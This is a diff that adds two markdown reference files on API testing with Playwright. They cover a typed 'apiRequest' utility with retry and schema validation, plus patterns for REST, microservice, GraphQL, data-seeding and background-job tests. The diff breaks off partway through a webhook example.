+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/api-request.md
@@ -0,0 +1,563 @@
+# API Request Utility
+
+## Principle
+
+Use typed HTTP client with built-in schema validation and automatic retry for server errors. The utility handles URL resolution, header management, response parsing, and single-line response validation with proper TypeScript support. **Works without a browser** - ideal for pure API/service testing.
+
+## Rationale
+
+Vanilla Playwright's request API requires boilerplate for common patterns:
+
+- Manual JSON parsing (`await response.json()`)
+- Repetitive status code checking
+- No built-in retry logic for transient failures
+- No schema validation
+- Complex URL construction
+
+The `apiRequest` utility provides:
+
+- **Automatic JSON parsing**: Response body pre-parsed
+- **Built-in retry**: 5xx errors retry with exponential backoff
+- **Schema validation**: Single-line validation (JSON Schema, Zod, OpenAPI)
+- **URL resolution**: Four-tier strategy (explicit > config > Playwright > direct)
+- **TypeScript generics**: Type-safe response bodies
+- **No browser required**: Pure API testing without browser overhead
+
+## Pattern Examples
+
+### Example 1: Basic API Request
+
+**Context**: Making authenticated API requests with automatic retry and type safety.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test('should fetch user data', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest<User>({
+    method: 'GET',
+    path: '/api/users/123',
+    headers: { Authorization: 'Bearer token' },
+  });
+
+  expect(status).toBe(200);
+  expect(body.name).toBe('John Doe'); // TypeScript knows body is User
+});
+```
+
+**Key Points**:
+
+- Generic type `<User>` provides TypeScript autocomplete for `body`
+- Status and body destructured from response
+- Headers passed as object
+- Automatic retry for 5xx errors (configurable)
+
+### Example 2: Schema Validation (Single Line)
+
+**Context**: Validate API responses match expected schema with single-line syntax.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { z } from 'zod';
+
+// JSON Schema validation
+test('should validate response schema (JSON Schema)', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users/123',
+    validateSchema: {
+      type: 'object',
+      required: ['id', 'name', 'email'],
+      properties: {
+        id: { type: 'string' },
+        name: { type: 'string' },
+        email: { type: 'string', format: 'email' },
+      },
+    },
+  });
+  // Throws if schema validation fails
+  expect(status).toBe(200);
+});
+
+// Zod schema validation
+const UserSchema = z.object({
+  id: z.string(),
+  name: z.string(),
+  email: z.string().email(),
+});
+
+test('should validate response schema (Zod)', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users/123',
+    validateSchema: UserSchema,
+  });
+  // Response body is type-safe AND validated
+  expect(status).toBe(200);
+  expect(body.email).toContain('@');
+});
+```
+
+**Key Points**:
+
+- Single `validateSchema` parameter
+- Supports JSON Schema, Zod, YAML files, OpenAPI specs
+- Throws on validation failure with detailed errors
+- Zero boilerplate validation code
+
+### Example 3: POST with Body and Retry Configuration
+
+**Context**: Creating resources with custom retry behavior for error testing.
+
+**Implementation**:
+
+```typescript
+test('should create user', async ({ apiRequest }) => {
+  const newUser = {
+    name: 'Jane Doe',
+    email: 'jane@example.com',
+  };
+
+  const { status, body } = await apiRequest({
+    method: 'POST',
+    path: '/api/users',
+    body: newUser, // Automatically sent as JSON
+    headers: { Authorization: 'Bearer token' },
+  });
+
+  expect(status).toBe(201);
+  expect(body.id).toBeDefined();
+});
+
+// Disable retry for error testing
+test('should handle 500 errors', async ({ apiRequest }) => {
+  await expect(
+    apiRequest({
+      method: 'GET',
+      path: '/api/error',
+      retryConfig: { maxRetries: 0 }, // Disable retry
+    }),
+  ).rejects.toThrow('Request failed with status 500');
+});
+```
+
+**Key Points**:
+
+- `body` parameter auto-serializes to JSON
+- Default retry: 5xx errors, 3 retries, exponential backoff
+- Disable retry with `retryConfig: { maxRetries: 0 }`
+- Only 5xx errors retry (4xx errors fail immediately)
+
+### Example 4: URL Resolution Strategy
+
+**Context**: Flexible URL handling for different environments and test contexts.
+
+**Implementation**:
+
+```typescript
+// Strategy 1: Explicit baseUrl (highest priority)
+await apiRequest({
+  method: 'GET',
+  path: '/users',
+  baseUrl: 'https://api.example.com', // Uses https://api.example.com/users
+});
+
+// Strategy 2: Config baseURL (from fixture)
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test.use({ configBaseUrl: 'https://staging-api.example.com' });
+
+test('uses config baseURL', async ({ apiRequest }) => {
+  await apiRequest({
+    method: 'GET',
+    path: '/users', // Uses https://staging-api.example.com/users
+  });
+});
+
+// Strategy 3: Playwright baseURL (from playwright.config.ts)
+// playwright.config.ts
+export default defineConfig({
+  use: {
+    baseURL: 'https://api.example.com',
+  },
+});
+
+test('uses Playwright baseURL', async ({ apiRequest }) => {
+  await apiRequest({
+    method: 'GET',
+    path: '/users', // Uses https://api.example.com/users
+  });
+});
+
+// Strategy 4: Direct path (full URL)
+await apiRequest({
+  method: 'GET',
+  path: 'https://api.example.com/users', // Full URL works too
+});
+```
+
+**Key Points**:
+
+- Four-tier resolution: explicit > config > Playwright > direct
+- Trailing slashes normalized automatically
+- Environment-specific baseUrl easy to configure
+
+### Example 5: Integration with Recurse (Polling)
+
+**Context**: Waiting for async operations to complete (background jobs, eventual consistency).
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('should poll until job completes', async ({ apiRequest, recurse }) => {
+  // Create job
+  const { body } = await apiRequest({
+    method: 'POST',
+    path: '/api/jobs',
+    body: { type: 'export' },
+  });
+
+  const jobId = body.id;
+
+  // Poll until ready
+  const completedJob = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/jobs/${jobId}` }),
+    (response) => response.body.status === 'completed',
+    { timeout: 60000, interval: 2000 },
+  );
+
+  expect(completedJob.body.result).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- `apiRequest` returns full response object
+- `recurse` polls until predicate returns true
+- Composable utilities work together seamlessly
+
+### Example 6: Microservice Testing (Multiple Services)
+
+**Context**: Test interactions between microservices without a browser.
+
+**Implementation**:
+
+```typescript
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+const USER_SERVICE = process.env.USER_SERVICE_URL || 'http://localhost:3001';
+const ORDER_SERVICE = process.env.ORDER_SERVICE_URL || 'http://localhost:3002';
+
+test.describe('Microservice Integration', () => {
+  test('should validate cross-service user lookup', async ({ apiRequest }) => {
+    // Create user in user-service
+    const { body: user } = await apiRequest({
+      method: 'POST',
+      path: '/api/users',
+      baseUrl: USER_SERVICE,
+      body: { name: 'Test User', email: 'test@example.com' },
+    });
+
+    // Create order in order-service (validates user via user-service)
+    const { status, body: order } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE,
+      body: {
+        userId: user.id,
+        items: [{ productId: 'prod-1', quantity: 2 }],
+      },
+    });
+
+    expect(status).toBe(201);
+    expect(order.userId).toBe(user.id);
+  });
+
+  test('should reject order for invalid user', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE,
+      body: {
+        userId: 'non-existent-user',
+        items: [{ productId: 'prod-1', quantity: 1 }],
+      },
+    });
+
+    expect(status).toBe(400);
+    expect(body.code).toBe('INVALID_USER');
+  });
+});
+```
+
+**Key Points**:
+
+- Test multiple services without browser
+- Use `baseUrl` to target different services
+- Validate cross-service communication
+- Pure API testing - fast and reliable
+
+### Example 7: GraphQL API Testing
+
+**Context**: Test GraphQL endpoints with queries and mutations.
+
+**Implementation**:
+
+```typescript
+test.describe('GraphQL API', () => {
+  const GRAPHQL_ENDPOINT = '/graphql';
+
+  test('should query users via GraphQL', async ({ apiRequest }) => {
+    const query = `
+      query GetUsers($limit: Int) {
+        users(limit: $limit) {
+          id
+          name
+          email
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query,
+        variables: { limit: 10 },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeUndefined();
+    expect(body.data.users).toHaveLength(10);
+  });
+
+  test('should create user via mutation', async ({ apiRequest }) => {
+    const mutation = `
+      mutation CreateUser($input: CreateUserInput!) {
+        createUser(input: $input) {
+          id
+          name
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query: mutation,
+        variables: {
+          input: { name: 'GraphQL User', email: 'gql@example.com' },
+        },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.data.createUser.id).toBeDefined();
+  });
+});
+```
+
+**Key Points**:
+
+- GraphQL via POST request
+- Variables in request body
+- Check `body.errors` for GraphQL errors (not status code)
+- Works for queries and mutations
+
+### Example 8: Operation-Based Overload (OpenAPI / Code Generators)
+
+**Context**: When using a code generator (orval, openapi-generator, custom scripts) that produces typed operation definitions from an OpenAPI spec, pass the operation object directly to `apiRequest`. This eliminates manual `method`/`path` extraction and `typeof` assertions while preserving full type inference for request body, response, and query parameters. Available since v3.14.0.
+
+**Implementation**:
+
+```typescript
+// Generated operation definition — structural typing, no import from playwright-utils needed
+// type OperationShape = { path: string; method: 'POST'|'GET'|'PUT'|'DELETE'|'PATCH'|'HEAD'; response: unknown; request: unknown; query?: unknown }
+
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+// --- Basic usage: operation replaces method + path ---
+test('should upsert person via operation overload', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    operation: upsertPersonv2({ customerId }),
+    headers: getHeaders(customerId),
+    body: personInput, // compile-time typed as Schemas.PersonInput
+  });
+
+  expect(status).toBe(200);
+  expect(body.id).toBeDefined(); // body typed as Schemas.Person
+});
+
+// --- Typed query parameters (replaces string concatenation) ---
+test('should list people with typed query', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    operation: getPeoplev2({ customerId }),
+    headers: getHeaders(customerId),
+    query: { page: 0, page_size: 5 }, // typed from operation's query definition
+  });
+
+  expect(body.items).toHaveLength(5);
+});
+
+// --- Params escape hatch (pre-formatted query strings) ---
+test('should fetch billing history with raw params', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    operation: getBillingHistoryv2({ customerId }),
+    headers: getHeaders(customerId),
+    params: {
+      'filters[start_date]': getThisMonthTimestamp(),
+      'filters[date_type]': 'MONTH',
+    },
+  });
+
+  expect(body.entries.length).toBeGreaterThan(0);
+});
+
+// --- Works with recurse (polling) ---
+test('should poll until person is reviewed', async ({ apiRequest, recurse }) => {
+  await recurse(
+    async () =>
+      apiRequest({
+        operation: getPersonv2({ customerId, hash }),
+        headers: getHeaders(customerId),
+      }),
+    (res) => {
+      expect(res.status).toBe(200);
+      expect(res.body.status).toBe('REVIEWED');
+    },
+    { timeout: 30000, interval: 1000 },
+  );
+});
+
+// --- Schema validation chains work identically ---
+test('should create movie with schema validation', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    operation: createMovieOp,
+    headers: commonHeaders(authToken),
+    body: movie,
+  }).validateSchema(CreateMovieResponseSchema, {
+    shape: { status: 200, data: { name: movie.name } },
+  });
+
+  expect(body.data.id).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- Pass `operation` instead of `method` + `path` — mutually exclusive at compile time
+- Response body, request body, and query types inferred from operation definition
+- Uses structural typing (duck typing) — works with any code generator producing `{ path, method, response, request, query? }`
+- `query` field auto-serializes to bracket notation (`filters[type]=pep`, `ids[0]=10`)
+- `params` escape hatch for pre-formatted strings — wins over `query` on conflict
+- Fully composable with `recurse`, `validateSchema`, and all existing features
+- `response`/`request`/`query` on the operation are type-level only — runtime never reads their values
+
+## Comparison with Vanilla Playwright
+
+| Vanilla Playwright                             | playwright-utils apiRequest                                                        |
+| ---------------------------------------------- | ---------------------------------------------------------------------------------- |
+| `const resp = await request.get('/api/users')` | `const { status, body } = await apiRequest({ method: 'GET', path: '/api/users' })` |
+| `const body = await resp.json()`               | Response already parsed                                                            |
+| `expect(resp.ok()).toBeTruthy()`               | Status code directly accessible                                                    |
+| No retry logic                                 | Auto-retry 5xx errors with backoff                                                 |
+| No schema validation                           | Built-in multi-format validation                                                   |
+| Manual error handling                          | Descriptive error messages                                                         |
+
+## When to Use
+
+**Use apiRequest for:**
+
+- ✅ Pure API/service testing (no browser needed)
+- ✅ Microservice integration testing
+- ✅ GraphQL API testing
+- ✅ Schema validation needs
+- ✅ Tests requiring retry logic
+- ✅ Background API calls in UI tests
+- ✅ Contract testing support
+- ✅ Type-safe API testing with OpenAPI-generated operations (v3.14.0+)
+
+**Stick with vanilla Playwright for:**
+
+- Simple one-off requests where utility overhead isn't worth it
+- Testing Playwright's native features specifically
+- Legacy tests where migration isn't justified
+
+## Related Fragments
+
+- `api-testing-patterns.md` - Comprehensive pure API testing patterns
+- `overview.md` - Installation and design principles
+- `auth-session.md` - Authentication token management
+- `recurse.md` - Polling for async operations
+- `fixtures-composition.md` - Combining utilities with mergeTests
+- `log.md` - Logging API requests
+- `contract-testing.md` - Pact contract testing
+
+## Anti-Patterns
+
+**❌ Ignoring retry failures:**
+
+```typescript
+try {
+  await apiRequest({ method: 'GET', path: '/api/unstable' });
+} catch {
+  // Silent failure - loses retry information
+}
+```
+
+**✅ Let retries happen, handle final failure:**
+
+```typescript
+await expect(apiRequest({ method: 'GET', path: '/api/unstable' })).rejects.toThrow(); // Retries happen automatically, then final error caught
+```
+
+**❌ Disabling TypeScript benefits:**
+
+```typescript
+const response: any = await apiRequest({ method: 'GET', path: '/users' });
+```
+
+**✅ Use generic types:**
+
+```typescript
+const { body } = await apiRequest<User[]>({ method: 'GET', path: '/users' });
+// body is typed as User[]
+```
+
+**❌ Mixing operation overload with explicit generics:**
+
+```typescript
+// Don't pass a generic when using operation — types are inferred from the operation
+const { body } = await apiRequest<MyType>({
+  operation: getPersonv2({ customerId }),
+  headers: getHeaders(customerId),
+});
+```
+
+**✅ Let the operation infer the types:**
+
+```typescript
+const { body } = await apiRequest({
+  operation: getPersonv2({ customerId }),
+  headers: getHeaders(customerId),
+});
+// body type inferred from operation.response
+```
+
+**❌ Mixing operation with method/path:**
+
+```typescript
+// Compile error — operation and method/path are mutually exclusive
+await apiRequest({
+  operation: getPersonv2({ customerId }),
+  method: 'GET', // Error: method?: never
+  path: '/api/person', // Error: path?: never
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/api-testing-patterns.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/api-testing-patterns.md
new file mode 100644
index 0000000..564f0b2
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/api-testing-patterns.md
@@ -0,0 +1,915 @@
+# API Testing Patterns
+
+## Principle
+
+Test APIs and backend services directly without browser overhead. Use Playwright's `request` context for HTTP operations, `apiRequest` utility for enhanced features, and `recurse` for async operations. Pure API tests run faster, are more stable, and provide better coverage for service-layer logic.
+
+## Rationale
+
+Many teams over-rely on E2E/browser tests when API tests would be more appropriate:
+
+- **Slower feedback**: Browser tests take seconds, API tests take milliseconds
+- **More brittle**: UI changes break tests even when API works correctly
+- **Wrong abstraction**: Testing business logic through UI layers adds noise
+- **Resource heavy**: Browsers consume memory and CPU
+
+API-first testing provides:
+
+- **Fast execution**: No browser startup, no rendering, no JavaScript execution
+- **Direct validation**: Test exactly what the service returns
+- **Better isolation**: Test service logic independent of UI
+- **Easier debugging**: Clear request/response without DOM noise
+- **Contract validation**: Verify API contracts explicitly
+
+## When to Use API Tests vs E2E Tests
+
+| Scenario                  | API Test      | E2E Test      |
+| ------------------------- | ------------- | ------------- |
+| CRUD operations           | ✅ Primary    | ❌ Overkill   |
+| Business logic validation | ✅ Primary    | ❌ Overkill   |
+| Error handling (4xx, 5xx) | ✅ Primary    | ⚠️ Supplement |
+| Authentication flows      | ✅ Primary    | ⚠️ Supplement |
+| Data transformation       | ✅ Primary    | ❌ Overkill   |
+| User journeys             | ❌ Can't test | ✅ Primary    |
+| Visual regression         | ❌ Can't test | ✅ Primary    |
+| Cross-browser issues      | ❌ Can't test | ✅ Primary    |
+
+**Rule of thumb**: If you're testing what the server returns (not how it looks), use API tests.
+
+## Pattern Examples
+
+### Example 1: Pure API Test (No Browser)
+
+**Context**: Test REST API endpoints directly without any browser context.
+
+**Implementation**:
+
+```typescript
+// tests/api/users.spec.ts
+import { test, expect } from '@playwright/test';
+
+// No page, no browser - just API
+test.describe('Users API', () => {
+  test('should create user', async ({ request }) => {
+    const response = await request.post('/api/users', {
+      data: {
+        name: 'John Doe',
+        email: 'john@example.com',
+        role: 'user',
+      },
+    });
+
+    expect(response.status()).toBe(201);
+
+    const user = await response.json();
+    expect(user.id).toBeDefined();
+    expect(user.name).toBe('John Doe');
+    expect(user.email).toBe('john@example.com');
+  });
+
+  test('should get user by ID', async ({ request }) => {
+    // Create user first
+    const createResponse = await request.post('/api/users', {
+      data: { name: 'Jane Doe', email: 'jane@example.com' },
+    });
+    const { id } = await createResponse.json();
+
+    // Get user
+    const getResponse = await request.get(`/api/users/${id}`);
+    expect(getResponse.status()).toBe(200);
+
+    const user = await getResponse.json();
+    expect(user.id).toBe(id);
+    expect(user.name).toBe('Jane Doe');
+  });
+
+  test('should return 404 for non-existent user', async ({ request }) => {
+    const response = await request.get('/api/users/non-existent-id');
+    expect(response.status()).toBe(404);
+
+    const error = await response.json();
+    expect(error.code).toBe('USER_NOT_FOUND');
+  });
+
+  test('should validate required fields', async ({ request }) => {
+    const response = await request.post('/api/users', {
+      data: { name: 'Missing Email' }, // email is required
+    });
+
+    expect(response.status()).toBe(400);
+
+    const error = await response.json();
+    expect(error.code).toBe('VALIDATION_ERROR');
+    expect(error.details).toContainEqual(expect.objectContaining({ field: 'email', message: expect.any(String) }));
+  });
+});
+```
+
+**Key Points**:
+
+- No `page` fixture needed - only `request`
+- Tests run without browser overhead
+- Direct HTTP assertions
+- Clear error handling tests
+
+### Example 2: API Test with apiRequest Utility
+
+**Context**: Use enhanced apiRequest for schema validation, retry, and type safety.
+
+**Implementation**:
+
+```typescript
+// tests/api/orders.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { z } from 'zod';
+
+// Define schema for type safety and validation
+const OrderSchema = z.object({
+  id: z.string().uuid(),
+  userId: z.string(),
+  items: z.array(
+    z.object({
+      productId: z.string(),
+      quantity: z.number().positive(),
+      price: z.number().positive(),
+    }),
+  ),
+  total: z.number().positive(),
+  status: z.enum(['pending', 'processing', 'shipped', 'delivered']),
+  createdAt: z.string().datetime(),
+});
+
+type Order = z.infer<typeof OrderSchema>;
+
+test.describe('Orders API', () => {
+  test('should create order with schema validation', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest<Order>({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: 'user-123',
+        items: [
+          { productId: 'prod-1', quantity: 2, price: 29.99 },
+          { productId: 'prod-2', quantity: 1, price: 49.99 },
+        ],
+      },
+      validateSchema: OrderSchema, // Validates response matches schema
+    });
+
+    expect(status).toBe(201);
+    expect(body.id).toBeDefined();
+    expect(body.status).toBe('pending');
+    expect(body.total).toBe(109.97); // 2*29.99 + 49.99
+  });
+
+  test('should handle server errors with retry', async ({ apiRequest }) => {
+    // apiRequest retries 5xx errors by default
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/orders/order-123',
+      retryConfig: {
+        maxRetries: 3,
+        retryDelay: 1000,
+      },
+    });
+
+    expect(status).toBe(200);
+  });
+
+  test('should list orders with pagination', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest<{ orders: Order[]; total: number; page: number }>({
+      method: 'GET',
+      path: '/api/orders',
+      params: { page: 1, limit: 10, status: 'pending' },
+    });
+
+    expect(status).toBe(200);
+    expect(body.orders).toHaveLength(10);
+    expect(body.total).toBeGreaterThan(10);
+    expect(body.page).toBe(1);
+  });
+});
+```
+
+**Key Points**:
+
+- Zod schema for runtime validation AND TypeScript types
+- `validateSchema` throws if response doesn't match
+- Built-in retry for transient failures
+- Type-safe `body` access
+- **Note**: If your project uses code-generated operations from an OpenAPI spec, see [Example 8](#example-8-operation-based-api-testing-openapi--code-generators) for the preferred `operation`-based overload (v3.14.0+)
+
+### Example 3: Microservice-to-Microservice Testing
+
+**Context**: Test service interactions without browser - validate API contracts between services.
+
+**Implementation**:
+
+```typescript
+// tests/api/service-integration.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Service Integration', () => {
+  const USER_SERVICE_URL = process.env.USER_SERVICE_URL || 'http://localhost:3001';
+  const ORDER_SERVICE_URL = process.env.ORDER_SERVICE_URL || 'http://localhost:3002';
+  const INVENTORY_SERVICE_URL = process.env.INVENTORY_SERVICE_URL || 'http://localhost:3003';
+
+  test('order service should validate user exists', async ({ apiRequest }) => {
+    // Create user in user-service
+    const { body: user } = await apiRequest({
+      method: 'POST',
+      path: '/api/users',
+      baseUrl: USER_SERVICE_URL,
+      body: { name: 'Test User', email: 'test@example.com' },
+    });
+
+    // Create order in order-service (should validate user via user-service)
+    const { status, body: order } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE_URL,
+      body: {
+        userId: user.id,
+        items: [{ productId: 'prod-1', quantity: 1 }],
+      },
+    });
+
+    expect(status).toBe(201);
+    expect(order.userId).toBe(user.id);
+  });
+
+  test('order service should reject invalid user', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE_URL,
+      body: {
+        userId: 'non-existent-user',
+        items: [{ productId: 'prod-1', quantity: 1 }],
+      },
+    });
+
+    expect(status).toBe(400);
+    expect(body.code).toBe('INVALID_USER');
+  });
+
+  test('order should decrease inventory', async ({ apiRequest, recurse }) => {
+    // Get initial inventory
+    const { body: initialInventory } = await apiRequest({
+      method: 'GET',
+      path: '/api/inventory/prod-1',
+      baseUrl: INVENTORY_SERVICE_URL,
+    });
+
+    // Create order
+    await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE_URL,
+      body: {
+        userId: 'user-123',
+        items: [{ productId: 'prod-1', quantity: 2 }],
+      },
+    });
+
+    // Poll for inventory update (eventual consistency)
+    const { body: updatedInventory } = await recurse(
+      () =>
+        apiRequest({
+          method: 'GET',
+          path: '/api/inventory/prod-1',
+          baseUrl: INVENTORY_SERVICE_URL,
+        }),
+      (response) => response.body.quantity === initialInventory.quantity - 2,
+      { timeout: 10000, interval: 500 },
+    );
+
+    expect(updatedInventory.quantity).toBe(initialInventory.quantity - 2);
+  });
+});
+```
+
+**Key Points**:
+
+- Multiple service URLs for microservice testing
+- Tests service-to-service communication
+- Uses `recurse` for eventual consistency
+- No browser needed for full integration testing
+
+### Example 4: GraphQL API Testing
+
+**Context**: Test GraphQL endpoints with queries and mutations.
+
+**Implementation**:
+
+```typescript
+// tests/api/graphql.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+const GRAPHQL_ENDPOINT = '/graphql';
+
+test.describe('GraphQL API', () => {
+  test('should query users', async ({ apiRequest }) => {
+    const query = `
+      query GetUsers($limit: Int) {
+        users(limit: $limit) {
+          id
+          name
+          email
+          role
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query,
+        variables: { limit: 10 },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeUndefined();
+    expect(body.data.users).toHaveLength(10);
+    expect(body.data.users[0]).toHaveProperty('id');
+    expect(body.data.users[0]).toHaveProperty('name');
+  });
+
+  test('should create user via mutation', async ({ apiRequest }) => {
+    const mutation = `
+      mutation CreateUser($input: CreateUserInput!) {
+        createUser(input: $input) {
+          id
+          name
+          email
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query: mutation,
+        variables: {
+          input: {
+            name: 'GraphQL User',
+            email: 'graphql@example.com',
+          },
+        },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeUndefined();
+    expect(body.data.createUser.id).toBeDefined();
+    expect(body.data.createUser.name).toBe('GraphQL User');
+  });
+
+  test('should handle GraphQL errors', async ({ apiRequest }) => {
+    const query = `
+      query GetUser($id: ID!) {
+        user(id: $id) {
+          id
+          name
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query,
+        variables: { id: 'non-existent' },
+      },
+    });
+
+    expect(status).toBe(200); // GraphQL returns 200 even for errors
+    expect(body.errors).toBeDefined();
+    expect(body.errors[0].message).toContain('not found');
+    expect(body.data.user).toBeNull();
+  });
+
+  test('should handle validation errors', async ({ apiRequest }) => {
+    const mutation = `
+      mutation CreateUser($input: CreateUserInput!) {
+        createUser(input: $input) {
+          id
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query: mutation,
+        variables: {
+          input: {
+            name: '', // Invalid: empty name
+            email: 'invalid-email', // Invalid: bad format
+          },
+        },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeDefined();
+    expect(body.errors[0].extensions.code).toBe('BAD_USER_INPUT');
+  });
+});
+```
+
+**Key Points**:
+
+- GraphQL queries and mutations via POST
+- Variables passed in request body
+- GraphQL returns 200 even for errors (check `body.errors`)
+- Test validation and business logic errors
+
+### Example 5: Database Seeding and Cleanup via API
+
+**Context**: Use API calls to set up and tear down test data without direct database access.
+
+**Implementation**:
+
+```typescript
+// tests/api/with-data-setup.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Orders with Data Setup', () => {
+  let testUser: { id: string; email: string };
+  let testProducts: Array<{ id: string; name: string; price: number }>;
+
+  test.beforeAll(async ({ request }) => {
+    // Seed user via API
+    const userResponse = await request.post('/api/users', {
+      data: {
+        name: 'Test User',
+        email: `test-${Date.now()}@example.com`,
+      },
+    });
+    testUser = await userResponse.json();
+
+    // Seed products via API
+    testProducts = [];
+    for (const product of [
+      { name: 'Widget A', price: 29.99 },
+      { name: 'Widget B', price: 49.99 },
+      { name: 'Widget C', price: 99.99 },
+    ]) {
+      const productResponse = await request.post('/api/products', {
+        data: product,
+      });
+      testProducts.push(await productResponse.json());
+    }
+  });
+
+  test.afterAll(async ({ request }) => {
+    // Cleanup via API
+    if (testUser?.id) {
+      await request.delete(`/api/users/${testUser.id}`);
+    }
+    for (const product of testProducts) {
+      await request.delete(`/api/products/${product.id}`);
+    }
+  });
+
+  test('should create order with seeded data', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: testUser.id,
+        items: [
+          { productId: testProducts[0].id, quantity: 2 },
+          { productId: testProducts[1].id, quantity: 1 },
+        ],
+      },
+    });
+
+    expect(status).toBe(201);
+    expect(body.userId).toBe(testUser.id);
+    expect(body.items).toHaveLength(2);
+    expect(body.total).toBe(2 * 29.99 + 49.99);
+  });
+
+  test('should list user orders', async ({ apiRequest }) => {
+    // Create an order first
+    await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: testUser.id,
+        items: [{ productId: testProducts[2].id, quantity: 1 }],
+      },
+    });
+
+    // List orders for user
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/orders',
+      params: { userId: testUser.id },
+    });
+
+    expect(status).toBe(200);
+    expect(body.orders.length).toBeGreaterThanOrEqual(1);
+    expect(body.orders.every((o: any) => o.userId === testUser.id)).toBe(true);
+  });
+});
+```
+
+**Key Points**:
+
+- `beforeAll`/`afterAll` for test data setup/cleanup
+- API-based seeding (no direct DB access needed)
+- Unique emails to prevent conflicts in parallel runs
+- Cleanup after all tests complete
+
+### Example 6: Background Job Testing with Recurse
+
+**Context**: Test async operations like background jobs, webhooks, and eventual consistency.
+
+**Implementation**:
+
+```typescript
+// tests/api/background-jobs.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Background Jobs', () => {
+  test('should process export job', async ({ apiRequest, recurse }) => {
+    // Trigger export job
+    const { body: job } = await apiRequest({
+      method: 'POST',
+      path: '/api/exports',
+      body: {
+        type: 'users',
+        format: 'csv',
+        filters: { createdAfter: '2024-01-01' },
+      },
+    });
+
+    expect(job.id).toBeDefined();
+    expect(job.status).toBe('pending');
+
+    // Poll until job completes
+    const { body: completedJob } = await recurse(
+      () => apiRequest({ method: 'GET', path: `/api/exports/${job.id}` }),
+      (response) => response.body.status === 'completed',
+      {
+        timeout: 60000,
+        interval: 2000,
+        log: `Waiting for export job ${job.id} to complete`,
+      },
+    );
+
+    expect(completedJob.status).toBe('completed');
+    expect(completedJob.downloadUrl).toBeDefined();
+    expect(completedJob.recordCount).toBeGreaterThan(0);
+  });
+
+  test('should handle job failure gracefully', async ({ apiRequest, recurse }) => {
+    // Trigger job that will fail
+    const { body: job } = await apiRequest({
+      method: 'POST',
+      path: '/api/exports',
+      body: {
+        type: 'invalid-type', // This will cause failure
+        format: 'csv',
+      },
+    });
+
+    // Poll until job fails
+    const { body: failedJob } = await recurse(
+      () => apiRequest({ method: 'GET', path: `/api/exports/${job.id}` }),
+      (response) => ['completed', 'failed'].includes(response.body.status),
+      { timeout: 30000 },
+    );
+
+    expect(failedJob.status).toBe('failed');
+    expect(failedJob.error).toBeDefined();
+    expect(failedJob.error.code).toBe('INVALID_EXPORT_TYPE');
+  });
+
+  test('should process webhook delivery', async ({ apiRequest, recurse }) => {
+    // Trigger action that sends webhook
+    const { body: order } = await apiRequest({
